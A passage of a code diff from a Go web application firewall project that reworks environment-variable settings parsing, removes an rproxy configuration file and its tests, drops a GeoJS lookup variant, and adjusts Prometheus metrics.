BytesLimitPerDay: env.size("SWWAF_BYTES_LIMIT_PER_DAY", "50G"),
BytesCount: env.bytesCount("SWWAF_BYTES_COUNT", "both"),
LookupSource: env.lookupSource("SWWAF_LOOKUP_SOURCE", "geojs"),
LookupDBPath: env.value("SWWAF_LOOKUP_DB_PATH", ""),
LookupTimeout: env.durationNotOff("SWWAF_LOOKUP_TIMEOUT", "1s"),
AddLookupHeaders: env.boolean("SWWAF_ADD_LOOKUP_HEADERS", "false"),
DeniedCountries: env.countries("SWWAF_DENIED_COUNTRIES", ""),
ExclusivelyAllowedCountries: env.countries(
"SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
ASNLimitPercent: env.percents("SWWAF_ASN_LIMIT_PERCENT", ParseASN),
@@ -498,8 +471,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"),
ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"),
ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"),
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWWAF_CROWDSEC_LAPI_URL"),
CrowdSecKey: env.secret("SWWAF_CROWDSEC_LAPI_KEY"),
BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"),
LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"),
LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
@@ -512,21 +483,12 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
@@ -561,7 +523,6 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
env.checkLookupDBPath(cfg)
env.checkCountriesAndLookups(cfg)
env.checkASNLimitPercentURL(cfg)
env.checkCrowdSec(cfg)
if env.err != nil {
return nil, env.err
@@ -572,30 +533,22 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
return cfg, nil
}
// Command reads only SMALLWEBWAF_COMMAND, the command the image runs and its
// health check checks: rproxy when it is unset or empty, or servewaf. It cannot
// be given as a file. Any other value is an error that names the setting.
func Command(lookupEnv func(string) (string, bool)) (string, error) {
command, _ := lookupEnv("SMALLWEBWAF_COMMAND")
switch command {
case "", "rproxy":
return "rproxy", nil
case "servewaf":
return command, nil
default:
return "", fmt.Errorf("SMALLWEBWAF_COMMAND: %q %w", command, errNotCommand)
}
}
// ServeWAFListenAddr reads only SWWAF_LISTEN_ADDR, which may be given as a
// file, as FromEnvironment does. The health check in servewaf's container needs
// no other setting, so it reads no other, nor a file that another names.
func ServeWAFListenAddr(lookupEnv func(string) (string, bool)) (string, error) {
// ListenAddrAndUpstreamURL reads only SWWAF_LISTEN_ADDR and
// SWWAF_UPSTREAM_URL, either of which may be given as a file, as
// FromEnvironment does. The health check needs no other setting, so it
// reads no other, nor a file that another names.
func ListenAddrAndUpstreamURL(
lookupEnv func(string) (string, bool),
) (string, *url.URL, error) {
env := &environment{lookupEnv: lookupEnv}
listenAddr := env.address("SWWAF_LISTEN_ADDR")
listenAddr := env.address("SWWAF_LISTEN_ADDR", defaultListenAddr)
upstreamURL := env.appURL("SWWAF_UPSTREAM_URL", defaultUpstreamURL)
return listenAddr, env.err
if env.err != nil {
return "", nil, env.err
}
return listenAddr, upstreamURL, nil
}
// InstanceName reads only SWWAF_INSTANCE_NAME, which may be given as a
@@ -677,10 +630,9 @@ func (e *environment) check(name string, err error) {
}
}
// address reads a setting that is an address to listen on, by default
// defaultListenAddr.
func (e *environment) address(name string) string {
address, err := parseListenAddr(e.value(name, defaultListenAddr))
// address reads a setting that is an address to listen on.
func (e *environment) address(name, defaultValue string) string {
address, err := parseListenAddr(e.value(name, defaultValue))
e.check(name, err)
return address
@@ -739,13 +691,13 @@ func (e *environment) size(name, defaultValue string) int64 {
return size
}
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
// headerSize reads the setting that is the largest request line and
// headers.
func (e *environment) headerSize(name, defaultValue string) int64 {
size, err := parseHeaderSize(e.value(name, defaultValue))
e.check(name, err)
return limit
return size
}
// count reads a setting that is a number of requests.
@@ -775,48 +727,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
paths, err := parseTrapPaths(e.value(name, ""))
e.check(name, err)
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
}
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
// level, from 1 to 4.
func (e *environment) paranoiaLevel(name, defaultValue string) int {
value := e.value(name, defaultValue)
level, err := strconv.Atoi(value)
if err != nil || level < 1 || level > maxParanoiaLevel {
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
}
return level
}
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
// rules.
func (e *environment) ruleIDs(name, defaultValue string) []int {
ids, err := parseRuleIDs(e.value(name, defaultValue))
e.check(name, err)
return ids
}
// countries reads a setting that is a list of countries.
func (e *environment) countries(name, defaultValue string) []string {
countries, err := parseCountries(e.value(name, defaultValue))
@@ -925,26 +835,6 @@ func (e *environment) resolver(name string) netip.AddrPort {
return resolver
}
// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec
// engine's local API, such as http://172.17.0.1:8080, and returns the URL
// its decision list is fetched from, that URL with v1/decisions added to
// its path, "" while it is unset or empty.
func (e *environment) crowdSecDecisionsURL(name string) string {
value := e.value(name, "")
if value == "" {
return ""
}
lapi, err := url.Parse(value)
if err != nil || !isHTTPURL(lapi) {
e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL))
return ""
}
return lapi.JoinPath("v1", "decisions").String()
}
// lookupSource reads the setting that is where clients are looked up:
// geojs, file, or off.
func (e *environment) lookupSource(name, defaultValue string) string {
@@ -1022,26 +912,6 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) {
}
}
// checkCrowdSec refuses SWWAF_CROWDSEC_LAPI_URL without
// SWWAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
// that is fetched as another list too.
func (e *environment) checkCrowdSec(cfg *Config) {
decisionsURL := cfg.CrowdSecDecisionsURL
switch {
case decisionsURL != "" && cfg.CrowdSecKey == "":
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf(
"is set while SWWAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey))
case decisionsURL == "" && cfg.CrowdSecKey != "":
e.check("SWWAF_CROWDSEC_LAPI_KEY", fmt.Errorf(
"is set while SWWAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused))
case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) ||
decisionsURL == cfg.ASNLimitPercentURL):
e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w",
decisionsURL, errAnotherList))
}
}
// headerNames reads a setting that is a list of header names, and
// returns them in lower case.
func (e *environment) headerNames(name, defaultValue string) []string {
@@ -1394,20 +1264,17 @@ func parseSize(value string) (int64, error) {
return n * unit, nil
}
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 64K, since servewaf
// gets no more of a body than that.
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
// parseHeaderSize reads the largest request line and headers: a size as
// parseSize reads it, but more than 4K and never off. Go's server reads 4K
// past the limit it is given before it refuses, so proxy.New gives it this
// size less 4K, which must leave a limit.
func parseHeaderSize(value string) (int64, error) {
size, err := parseSize(value)
if err != nil || size <= 4*kibibyte {
return 0, fmt.Errorf("%q %w", value, errNotOver4K)
}
if limit > 64*kibibyte {
return 0, fmt.Errorf("%q %w", value, errOver64K)
}
return limit, nil
return size, nil
}
// splitUnit splits a size into its number and the bytes its suffix
@@ -1612,50 +1479,6 @@ func parsePathPrefixes(value string) ([]string, error) {
return prefixes, nil
}
// parseTrapPaths reads a comma-separated list of trap paths. Each is
// matched against a request's path as a path rule is, without the query,
// so a path that does not start with / would never match, and one that
// holds a ? is written with a query.
func parseTrapPaths(value string) ([]string, error) {
paths, err := parseList(value)
if err != nil {
return nil, err
}
for _, path := range paths {
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
}
}
return paths, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
func parseRuleIDs(value string) ([]int, error) {
items, err := parseList(value)
if err != nil {
return nil, err
}
ids := make([]int, len(items))
for i, item := range items {
ids[i], err = strconv.Atoi(item)
if err != nil || ids[i] <= 0 {
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
}
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
}
}
return ids, nil
}
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
// the code in common use for Kosovo. golang.org/x/text/language cannot
// check them: it also takes withdrawn codes such as su, and reserved ones
internal/config/config_test.go
+348 -555
View File
File diff suppressed because it is too large Load Diff
internal/config/rproxy.go
-192
View File
@@ -1,192 +0,0 @@
package config
import (
"errors"
"fmt"
"log/slog"
"math"
"net/netip"
"net/url"
"strconv"
"strings"
"time"
)
// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero
// is off.
type RProxy struct {
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
ListenAddr string
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
UpstreamURL *url.URL
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix
// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL
// Timeout is how long rproxy waits for servewaf's answer to a question,
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
Timeout time.Duration
// DefaultDisposition is what is done with a request when servewaf cannot be
// connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWRP_DEFAULT_DISPOSITION).
DefaultDisposition string
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
MaxRequestSize int64
MaxResponseSize int64
// MaxRequestTime bounds sending the whole request: the visitor's request
// line and headers, and then, from their end, its body on its way to the
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// the end of the request to its last byte reaching the visitor
// (SWRP_MAX_RESPONSE_TIME_MS).
MaxRequestTime time.Duration
MaxResponseTime time.Duration
// settings are the values read, as given or by default, for the log line
// at start.
settings []slog.Attr
}
var (
errNeedsWAFBackend = errors.New(
"is required: it is servewaf's URL, such as http://servewaf:8080")
errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off")
)
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
// os.LookupEnv. A setting that is not set takes its default, and
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
// invalid is an error that names it. Since rproxy never touches disk, its
// settings have no _FILE form.
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
}
if env.err != nil {
return nil, env.err
}
cfg.settings = env.settings
return cfg, nil
}
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
// setting, so it reads no other.
func RProxyListenAddrAndUpstreamURL(
lookupEnv func(string) (string, bool),
) (string, *url.URL, error) {
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
listenAddr := env.address("SWRP_LISTEN_ADDR")
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
if env.err != nil {
return "", nil, env.err
}
return listenAddr, upstreamURL, nil
}
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
// rproxy never touches disk.
func withoutFileForms(
lookupEnv func(string) (string, bool),
) func(string) (string, bool) {
return func(name string) (string, bool) {
if strings.HasSuffix(name, "_FILE") {
return "", false
}
return lookupEnv(name)
}
}
// LogValue makes an RProxy log as each setting's name with the value it was
// given, or its default.
func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...)
}
// wafBackend reads the setting that is servewaf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "")
if value == "" {
e.check(name, errNeedsWAFBackend)
return nil
}
backend, err := parseUpstreamURL(value)
e.check(name, err)
return backend
}
// disposition reads the setting that is what is done with a request when servewaf
// cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny.
func (e *environment) disposition(name, defaultValue string) string {
value := e.value(name, defaultValue)
if value != "allow" && value != "deny" {
e.check(name, fmt.Errorf("%q %w", value, errNotDisposition))
}
return value
}
// milliseconds reads a setting that is a whole number of milliseconds above
// zero.
func (e *environment) milliseconds(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMilliseconds))
}
return duration
}
// millisecondsOrOff reads a setting that is a whole number of milliseconds
// above zero, or off, which is 0.
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
value := e.value(name, defaultValue)
if value == off {
return 0
}
duration, valid := parseMilliseconds(value)
if !valid {
e.check(name, fmt.Errorf("%q %w", value, errNotMillisecondsOrOff))
}
return duration
}
// parseMilliseconds reads a whole number of milliseconds above zero, and
// reports whether it is one.
func parseMilliseconds(value string) (time.Duration, bool) {
n, err := strconv.ParseInt(value, 10, 64)
if err != nil || n <= 0 || n > math.MaxInt64/int64(time.Millisecond) {
return 0, false
}
return time.Duration(n) * time.Millisecond, true
}
internal/config/rproxy_test.go
-231
View File
@@ -1,231 +0,0 @@
package config_test
import (
"net/netip"
"os"
"path/filepath"
"slices"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// rproxy's settings, by name, and their values in these tests.
const (
wafBackend = "SWRP_WAF_BACKEND"
rproxyTimeout = "SWRP_TIMEOUT_MS"
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
rproxyListen = "SWRP_LISTEN_ADDR"
rproxyUpstream = "SWRP_UPSTREAM_URL"
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://servewaf:8080"
rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot"
)
// rproxyConfig reads rproxy's settings from env.
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
return config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := env[name]
return value, ok
})
}
func TestRProxyDefaults(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
if err != nil {
t.Fatalf("settings: %v", err)
}
if cfg.ListenAddr != rproxyDefaultAddr ||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
cfg.WAFBackend.String() != backendURL {
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
}
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
}
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
}
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
}
want := []netip.Prefix{
netip.MustParsePrefix("10.0.0.0/8"),
netip.MustParsePrefix("172.16.0.0/12"),
netip.MustParsePrefix("192.168.0.0/16"),
}
if !slices.Equal(cfg.TrustedProxies, want) {
t.Errorf("trusted proxies %v, want %v", cfg.TrustedProxies, want)
}
}
func TestRProxySettingsAreRead(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{
wafBackend: "https://waf.example:8443",
rproxyListen: ":9000",
rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24",
rproxyTimeout: "150",
rproxyDefault: "deny",
rproxyMaxRequest: "1K",
rproxyMaxResponse: off,
rproxyRequestTime: off,
rproxyAnswerTime: "250",
})
if err != nil {
t.Fatalf("settings: %v", err)
}
if cfg.ListenAddr != ":9000" || cfg.UpstreamURL.Host != "app:3000" ||
cfg.WAFBackend.Host != "waf.example:8443" ||
cfg.TrustedProxies[0] != netip.MustParsePrefix("192.0.2.0/24") {
t.Errorf("addresses %+v", cfg)
}
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
t.Errorf("limits %+v", cfg)
}
}
func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, value string
}{
{wafBackend, ""},
{wafBackend, "servewaf:8080"},
{wafBackend, "http://servewaf:8080/path"},
{rproxyTimeout, "0"},
{rproxyTimeout, "-1"},
{rproxyTimeout, off},
{rproxyTimeout, "2s"},
{rproxyTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"},
{rproxyDefault, "maybe"},
{rproxyListen, "8080"},
{rproxyUpstream, "app"},
{rproxyUpstream, "127.0.0.1:8081"},
{rproxyUpstream, "ftp://127.0.0.1:8081"},
{rproxyUpstream, "http://"},
{rproxyUpstream, "http://:8081"},
{rproxyUpstream, "http://127.0.0.1:0"},
{rproxyUpstream, "http://127.0.0.1:99999"},
{rproxyUpstream, "http://127.0.0.1:8081/app"},
{rproxyUpstream, "http://127.0.0.1:8081/?a=1"},
{rproxyUpstream, "http://user:secret@127.0.0.1:8081"},
{rproxyTrusted, "not a netblock"},
{rproxyTrusted, "10.0.0.0/33"},
{rproxyTrusted, "10.0.0.0/8,,192.168.0.0/16"},
{rproxyTrusted, "fe80::1%eth0"},
{rproxyMaxRequest, notASize},
{rproxyMaxResponse, notASize},
{rproxyRequestTime, "0"},
{rproxyRequestTime, "1m"},
{rproxyAnswerTime, "0"},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
t.Errorf("error %v, want one naming %s", err, tc.name)
}
})
}
}
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
if err != nil {
t.Fatalf("settings: %v", err)
}
if len(cfg.TrustedProxies) != 0 {
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
}
}
func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel()
_, err := rproxyConfig(nil)
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
}
}
func TestRProxyReadsNoFile(t *testing.T) {
t.Parallel()
path := filepath.Join(t.TempDir(), "backend")
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
if err != nil {
t.Fatalf("write: %v", err)
}
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
cfg, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
rproxyTimeout + "_FILE": "/nonexistent/timeout",
})
if err != nil {
t.Fatalf("settings: %v, with the file left unread", err)
}
if cfg.Timeout != 2*time.Second {
t.Errorf("timeout %v, want the default", cfg.Timeout)
}
}
func TestRProxySettingsAreLoggedByName(t *testing.T) {
t.Parallel()
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL})
if err != nil {
t.Fatalf("settings: %v", err)
}
group := cfg.LogValue().Group()
names := make([]string, 0, len(group))
for _, attr := range group {
names = append(names, attr.Key)
}
for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout, rproxyDefault,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} {
if !slices.Contains(names, name) {
t.Errorf("%s is not logged, only %v", name, names)
}
}
}
internal/lookup/lookup.go
+4 -12
View File
@@ -179,7 +179,7 @@ func New(params Params) *GeoJS {
// own address for IPv4, and an address in the same place for an IPv6
// netblock.
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, asked := g.answerOrWait(ctx, client, g.wait)
answer, asked := g.answerOrWait(ctx, client)
if asked == nil {
return answer
}
@@ -209,14 +209,6 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
return answer
}
// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
answer, _ := g.answerOrWait(ctx, client, false)
return answer
}
// Kept returns client's answer, if one is kept, without asking GeoJS.
func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
g.mu.Lock()
@@ -271,9 +263,9 @@ func (g *GeoJS) Load(answers []Answer) {
// answerOrWait returns client's kept answer if it has one. Otherwise it
// puts the client among those waiting if there is room, has GeoJS asked
// about them if it can be, and returns what to wait on for the answer, or
// nil when there is nothing to wait for or mustWait is false.
// nil when there is nothing to wait for.
func (g *GeoJS) answerOrWait(
ctx context.Context, client netip.Prefix, mustWait bool,
ctx context.Context, client netip.Prefix,
) (Answer, <-chan struct{}) {
g.mu.Lock()
defer g.mu.Unlock()
@@ -291,7 +283,7 @@ func (g *GeoJS) answerOrWait(
g.ask(ctx)
if !mustWait {
if !g.wait {
return Answer{}, nil // the answer is not needed before the request goes on
}
internal/lookup/lookup_test.go
+2 -35
View File
@@ -72,39 +72,6 @@ func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) {
})
}
func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
client := netip.MustParsePrefix("203.0.113.9/32")
// Wait is set, and GeoJS does not answer.
geojs.set(hanging)
began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
}
waitForRequests(t, geojs, 1)
wantAsked(t, geojs, 0, "203.0.113.9")
// That request is abandoned, and has failed once this returns. GeoJS
// answers when it is asked again, and the answer is kept.
time.Sleep(timeout)
synctest.Wait()
geojs.set(answering)
waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
}
})
}
func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
t.Parallel()
@@ -156,8 +123,8 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
t.Parallel()
synctest.Test(t, func(t *testing.T) {
// A timeout longer than the default, and a GeoJS that does not
// answer.
// A timeout longer than the default second, and a GeoJS that does
// not answer.
const longerTimeout = 3 * time.Second
m := metrics.New(1, "app")
internal/metrics/metrics.go
+71 -103
View File
@@ -1,12 +1,12 @@
// Package metrics keeps smallwebwaf's Prometheus metrics, as
// docs/metrics.md lists them, and serves them in the Prometheus text
// format, as the "Metrics endpoint" section of SPEC.md requires. No
// metric carries a client's address.
// Package metrics keeps smallwebwaf's Prometheus metrics, as the "Metrics
// endpoint" section of SPEC.md lists them, and serves them in the
// Prometheus text format. No metric carries a client's address.
package metrics
import (
"net/http"
"strconv"
"strings"
"time"
"github.com/prometheus/client_golang/prometheus"
@@ -28,15 +28,15 @@ type Metrics struct {
registry prometheus.Registerer
handler http.Handler
inFlight prometheus.Gauge
requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec
responseBytes *prometheus.CounterVec
requestDuration prometheus.Histogram
upstreamDuration prometheus.Histogram
rateLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec
inFlight prometheus.Gauge
requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec
responseBytes *prometheus.CounterVec
requestDuration prometheus.Histogram
upstreamDuration prometheus.Histogram
rateLimitHits *prometheus.CounterVec
sizeAndTimeLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by
// AddReputation.
ruleMatches *prometheus.CounterVec
@@ -64,8 +64,6 @@ type Metrics struct {
// topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
@@ -96,14 +94,14 @@ func New(topN int, instanceName string) *Metrics {
Help: "How long requests passed to the app took, from then to their end.",
}),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.",
"Requests that broke a rate limit or a byte limit, by its window and "+
"its kind, requests or bytes.",
[]string{"window", "kind"}),
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
"Requests that passed a size or time limit, by its setting.",
[]string{"limit"}),
offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
